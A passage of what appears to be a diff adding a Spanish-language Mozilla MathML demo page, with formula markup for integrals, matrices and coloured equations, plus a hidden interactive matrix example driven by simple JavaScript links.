<mfrac> <mrow> <msup> <mo>∂</mo> <mn>2</mn> </msup> <mi>z</mi> </mrow> <mrow> <mo>∂</mo> <msup> <mi>x</mi> <mn>2</mn> </msup> </mrow> </mfrac> <mfrac> <mrow> <msup> <mo>∂</mo> <mn>2</mn> </msup> <mi>z</mi> </mrow> <mrow> <mo>∂</mo> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </mfrac> <mo>-</mo> <msup> <mrow> <mo>(</mo> <mfrac> <mrow> <msup> <mo>∂</mo> <mn>2</mn> </msup> <mi>z</mi> </mrow> <mrow> <mo>∂</mo> <mi>x</mi> <mo>∂</mo> <mi>y</mi> </mrow> </mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> </mrow> <mrow> <msup> <mrow> <mo>(</mo> <mn>1</mn> <mo>+</mo> <msup> <mrow> <mo>(</mo> <mfrac> <mrow> <mo>∂</mo> <mi>z</mi> </mrow> <mrow> <mo>∂</mo> <mi>x</mi> </mrow> </mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> <mo>+</mo> <msup> <mrow> <mo>(</mo> <mfrac> <mrow> <mo>∂</mo> <mi>z</mi> </mrow> <mrow> <mo>∂</mo> <mi>y</mi> </mrow> </mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> <mo>)</mo> </mrow> <mn>2</mn> </msup> </mrow> </mfrac> </mrow> </math>, escribir ecuaciones de vectores <math mathvariant="bold"> <mrow> <mi>Y</mi> <mo>=</mo> <mrow> <mrow> <mi>a</mi> <mo>⁢</mo> <mi>X</mi> </mrow> <mo>+</mo> <mi>b</mi> </mrow> </mrow> </math>, etcétera.</p>
+<p>Nota cómo las anotaciones matemáticas aparecen en el flujo de texto principal y responden a medida de que reajustas la ventana. También puedes escribir ecuaciones representadas como la siguiente</p>
+<p><math display="block"> <mrow> <mrow> <mi>x</mi> <mover> <mo>→</mo> <mtext>mapea a</mtext> </mover> <mi>y</mi> <mo>=</mo> <msub> <mi>f</mi> <mi>n</mi> </msub> <mo>⁡</mo> <mrow> <mo>(</mo> <mi>x</mi> <mo>)</mo> </mrow> </mrow> <mo>=</mo> <msup> <mrow> <mo>(</mo> <mrow> <mn>1</mn> <mo>+</mo> <mfrac> <mn>1</mn> <msup> <mi>x</mi> <mi>n</mi> </msup> </mfrac> </mrow> <mo>)</mo> </mrow> <mi>n</mi> </msup> </mrow> </math> <math display="block"> <mrow> <msubsup> <mo>∫</mo> <mi>a</mi> <mi>b</mi> </msubsup> <mi>f</mi> <mrow> <mo>(</mo> <mi>x</mi> <mo>)</mo> </mrow> <mi>d</mi> <mi>x</mi> </mrow> <mrow> <mo>=</mo> <mfrac> <mrow> <mi>b</mi> <mo>-</mo> <mi>a</mi> </mrow> <mn>6</mn> </mfrac> <mrow> <mo>[</mo> <mi>f</mi> <mrow> <mo>(</mo> <mi>a</mi> <mo>)</mo> </mrow> <mo>+</mo> <mn>4</mn> <mi>f</mi> <mrow> <mo>(</mo> <mfrac> <mrow> <mi>a</mi> <mo>+</mo> <mi>b</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> <mo>+</mo> <mi>f</mi> <mrow> <mo>(</mo> <mi>b</mi> <mo>)</mo> </mrow> <mo>]</mo> </mrow> <mo>-</mo> <mfrac> <msup> <mrow> <mo>(</mo> <mi>b</mi> <mo>-</mo> <mi>a</mi> <mo>)</mo> </mrow> <mn>5</mn> </msup> <mrow> <mn>4</mn> <mo>!</mo> <mn>5</mn> <mo>!</mo> </mrow> </mfrac> <msup> <mi>f</mi> <mrow> <mo>(</mo> <mn>4</mn> <mo>)</mo> </mrow> </msup> <mrow> <mo>(</mo> <mi>η</mi> <mo>)</mo> </mrow> <mo>,</mo> <mspace width="1em"></mspace> <mi>a</mi> <mo>≤</mo> <mi>η</mi> <mo>≤</mo> <mi>b</mi> </mrow> </math> <math display="block"> <mrow> <mrow> <mo>|</mo> <mi>x</mi> <mo>|</mo> </mrow> <mo>=</mo> <mo>{</mo> <mtable> <mtr> <mtd columnalign="right"> <mrow> <mo>-</mo> <mi>x</mi> </mrow></mtd><mtd columnalign="left">si <mspace width="thinmathspace"></mspace><mi>x</mi> <mo>&lt;</mo> <mn>0</mn> </mtd> </mtr> <mtr> <mtd columnalign="right"> <mi>x</mi> </mtd><mtd columnalign="left"><mtext>de lo contrario</mtext> </mtd></mtr></mtable></mrow></math>Tambien puedes escribir construcciones matemáticas bidimensionales [2D] como las matrices. El ejemplo siguiente muestra el
+ <i>
+  paso i</i>
+ -th de la multiplicación de una  matriz
+ <i>
+  A</i>
+ por un a vector
+ <i>
+  x</i>
+ (nota cómo <math> <msub> <mi>a</mi><mrow><mi>i</mi><mn>1</mn></mrow> </msub> <mo>,</mo> <mo>...</mo> <mo>,</mo> <msub> <mi>a</mi><mrow><mi>i</mi><mi>n</mi></mrow> </msub> <mo>,</mo> <msub><mi>x</mi><mn>1</mn></msub>  </math>están en la misma línea de base, otros alineamientos son posibles): <math display="block"> <mrow> <mi>i</mi><mtext>-th row</mtext> <mrow> <mo>[</mo> <mtable align="baseline3" rowlines="none solid solid none"> <mtr> <mtd> <msub> <mi>a</mi><mrow><mn>1</mn><mn>1</mn></mrow> </msub> </mtd> <mtd> <msub> <mi>a</mi><mrow><mn>1</mn><mn>2</mn></mrow> </msub> </mtd> <mtd> <msub> <mi>a</mi><mrow><mn>1</mn><mn>3</mn></mrow> </msub> </mtd> <mtd> <mo>...</mo> </mtd> <mtd> <msub> <mi>a</mi><mrow><mn>1</mn><mi>n</mi></mrow> </msub> </mtd> </mtr> <mtr> <mtd> <mo>:</mo> </mtd> <mtd> <mo>:</mo> </mtd> <mtd> <mo>:</mo> </mtd> <mtd> <mo>...</mo> </mtd> <mtd> <mo>:</mo> </mtd> </mtr> <mtr> <mtd> <msub> <mi>a</mi><mrow><mi>i</mi><mn>1</mn></mrow> </msub> </mtd> <mtd> <msub> <mi>a</mi><mrow><mi>i</mi><mn>2</mn></mrow> </msub> </mtd> <mtd> <msub> <mi>a</mi><mrow><mi>i</mi><mn>3</mn></mrow> </msub> </mtd> <mtd> <mo>...</mo> </mtd> <mtd> <msub> <mi>a</mi><mrow><mi>i</mi><mi>n</mi></mrow> </msub> </mtd> </mtr> <mtr> <mtd> <mo>:</mo> </mtd> <mtd> <mo>:</mo> </mtd> <mtd> <mo>:</mo> </mtd> <mtd> </mtd> <mtd> <mo>:</mo> </mtd> </mtr> <mtr> <mtd> <msub> <mi>a</mi><mrow><mi>n</mi><mn>1</mn></mrow> </msub> </mtd> <mtd> <msub> <mi>a</mi><mrow><mi>n</mi><mn>2</mn></mrow> </msub> </mtd> <mtd> <msub> <mi>a</mi><mrow><mi>n</mi><mn>3</mn></mrow> </msub> </mtd> <mtd> <mo>...</mo> </mtd> <mtd> <msub> <mi>a</mi> <mrow> <mi>n</mi> <mi>n</mi> </mrow> </msub> </mtd> </mtr> </mtable> <mo>]</mo> </mrow> <mrow> <mo symmetric="false">[</mo> <mtable align="baseline1"> <mtr> <mtd> <msub><mi>x</mi><mn>1</mn></msub> </mtd> </mtr> <mtr> <mtd> <msub><mi>x</mi><mn>2</mn></msub> </mtd> </mtr> <mtr> <mtd> <msub><mi>x</mi><mn>3</mn></msub> </mtd> </mtr> <mtr> <mtd> <mo>:</mo> </mtd> </mtr> <mtr> <mtd> <msub><mi>x</mi><mi>n</mi></msub> </mtd> </mtr> </mtable> <mo symmetric="false">]</mo> </mrow> </mrow> </math></p>
+<p>En Mozilla, MathML corre dentro del navegador principal por lo tanto responde a otras operaciones del navegador tales como el zoom (intenta Ver -&gt; Ampliación/Zoom de texto), y puedes hacer hiperenlaces <math href="http://en.wikipedia.org/wiki/Pythagorean_theorem"> <mrow> <mrow> <msup> <mi>a</mi> <mn>2</mn> </msup> <mo>+</mo> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mo>=</mo> <msup> <mi>c</mi> <mn>2</mn> </msup> </mrow> </math>, aplicar estilos con <span style="">effectos <math> <mrow> <mrow> <msup> <mi>a</mi> <mn>2</mn> </msup> <mrow> <mo>+</mo> </mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mrow> <mo>=</mo> </mrow> <msup> <mi>c</mi> <mn>2</mn> </msup> </mrow> </math> </span>, o usar colores <math> <mrow> <mrow> <msup mathcolor="red"> <mi>a</mi> <mn>2</mn> </msup> <mo>+</mo> <msup mathcolor="green"> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mo mathbackground="yellow">=</mo> <msup mathcolor="purple"> <mi>c</mi> <mn>2</mn> </msup></mrow></math>en formas variadas.<math display="block"> <mrow mathcolor="red"> <mfrac> <mrow> <mi>p</mi><mo>(</mo><mi>x</mi><mo>)</mo> </mrow> <mrow> <mi>q</mi><mo>(</mo><mi>x</mi><mo>)</mo> </mrow> </mfrac> <mo>=</mo> <mfrac> <mrow mathcolor="blue"> <msub><mi>a</mi><mn>0</mn></msub> <mo>+</mo> <msub><mi>a</mi><mn>1</mn></msub><mi>x</mi> <mo>+</mo> <msub><mi>a</mi><mn>2</mn></msub> <msup><mi>x</mi><mn>2</mn></msup> <mo>+</mo> <mo>...</mo> <mo>+</mo> <msub><mi>a</mi><mrow><mi>n</mi><mo>-</mo><mn>1</mn></mrow></msub> <msup><mi>x</mi><mrow><mi>n</mi><mo>-</mo><mn>1</mn></mrow></msup> </mrow> <mrow mathcolor="green"> <msub><mi>b</mi><mn>0</mn></msub> <mo>+</mo> <msub><mi>b</mi><mn>1</mn></msub><mi>x</mi> <mo>+</mo> <msub><mi>b</mi><mn>2</mn></msub> <msup><mi>x</mi><mn>2</mn></msup> <mo>+</mo> <mo>...</mo> <mo>+</mo> <msub><mi>b</mi><mrow><mi>n</mi><mo>-</mo><mn>1</mn></mrow></msub> <msup><mi>x</mi><mrow><mi>n</mi><mo>-</mo><mn>1</mn></mrow></msup> </mrow> </mfrac> <mo>.</mo> </mrow> </math></p>
+<p>También puedes hacer otras cosas extrañas y riesgosas que no son adaptables, advierte Bongo, tales como mezclar MathML con otros <em>markups</em>.<math display="block"> <mrow><mi>Lagartija</mi> <mo>+</mo> <mi>Bongo</mi> <mo>=</mo> <mfrac> <mtext> <img alt="logo-star" height="200" src="http://www.mozilla.org/images/logo-star.gif" width="197"> </mtext> <mrow> <mo>∫</mo> <munderover> <mtext> <img alt="mozilla-16" height="16" src="http://www.mozilla.org/images/mozilla-16.png" width="16"> </mtext> <mi>a</mi> <mi>b</mi> </munderover> <mi>d</mi> <mi>x</mi> </mrow> </mfrac> <mo>+</mo> <mpadded depth="65px" voffset="-65px"> <mtext> <img alt="mathboard" height="137" src="https://developer.mozilla.org/@api/deki/files/4238/=mathboard.png" width="184"> </mtext> </mpadded> </mrow> </math></p>
+<div style="display: none;">
+ <h2 id="MathML_and_Javascript" name="MathML_and_Javascript">MathML and Javascript</h2>
+ <h3 id="HTML_Content">HTML Content</h3>
+ <pre class="brush: html">&lt;p&gt;
+And you can turn to JavaScript and the DOM for dynamic operations.
+&lt;/p&gt;
+
+&lt;div style="text-align:center"&gt;
+Fill the gaps in this matrix with resizable input fields.
+&lt;/div&gt;
+&lt;math class="inputmath" display="block"&gt;
+&lt;mrow&gt;
+&lt;mi&gt;A&lt;/mi&gt;
+&lt;mo&gt;=&lt;/mo&gt;
+&lt;mo&gt;[&lt;/mo&gt;
+&lt;mtable&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;mtext&gt;&lt;input id="input12" value="?" size="1"/&gt;&lt;/mtext&gt;
+&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;
+&lt;mtext&gt;&lt;input id="input21" value="?" size="1"/&gt;&lt;/mtext&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;&lt;mn&gt;4&lt;/mn&gt;&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;/mtable&gt;
+&lt;mo&gt;]&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;/math&gt;
+&lt;div style="text-align:center"&gt;
+Left size:
+&lt;a class="control" href="javascript:incrementInput('input21', 1);" title="increase input"&gt;+&lt;/a&gt;
+&lt;a class="control" href="javascript:incrementInput('input21',-1);" title="decrease input"&gt;-&lt;/a&gt;
+
+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;
+
+ Right size:
+&lt;a class="control" href="javascript:incrementInput('input12', 1);" title="increase input"&gt;+&lt;/a&gt;
+&lt;a class="control" href="javascript:incrementInput('input12',-1);" title="decrease input"&gt;-&lt;/a&gt;
+&lt;br/&gt;
+ (click these control buttons to see their effects.)
+ &lt;/div&gt;
+
+&lt;p&gt;
+Each entry of the following matrix represents
+&lt;math&gt;
+&lt;msup&gt;&lt;mrow&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;/msup&gt;
+&lt;/math&gt; for some &lt;i&gt;n&lt;/i&gt;.
+When you left-click any individual entry, it should toggle between its expanded and
+unexpanded forms. You can also &lt;a href="javascript:unexpand();"&gt;unexpand all&lt;/a&gt; or
+&lt;a href="javascript:expand();"&gt;expand all&lt;/a&gt;.
+&lt;/p&gt;
+
+&lt;div&gt;
+&lt;math display="block"&gt;
+&lt;mtable&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;
+&lt;mtable align="axis" columnalign="left left left"&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;
+&lt;maction id="a11" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;0&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mn&gt;1&lt;/mn&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;maction id="a12" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;1&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;maction id="a13" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;
+&lt;maction id="a21" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;1&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;maction id="a22" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;maction id="a23" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;
+&lt;maction id="a31" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;maction id="a32" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;maction id="a33" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;6&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;/mtr&gt;
+&lt;mtr&gt;
+&lt;mtd&gt;
+&lt;maction id="a41" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;2&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;/mrow&gt;
+&lt;/maction&gt;
+&lt;/mtd&gt;
+&lt;mtd&gt;
+&lt;maction id="a42" actiontype="toggle" selection="2"&gt;
+&lt;msup&gt;
+&lt;mrow&gt;
+&lt;mo&gt;(&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;)&lt;/mo&gt;
+&lt;/mrow&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mrow&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;+&lt;/mo&gt;
+&lt;mrow&gt;
+&lt;mn&gt;4&lt;/mn&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;msup&gt;
+&lt;mi&gt;x&lt;/mi&gt;
+&lt;mn&gt;3&lt;/mn&gt;
+&lt;/msup&gt;
+&lt;mo&gt;&amp;InvisibleTimes;&lt;/mo&gt;
+&lt;mi&gt;y&lt;/mi&gt;
+&lt;/mrow&gt;
+&lt;mo&gt;+&lt;/mo&gt;
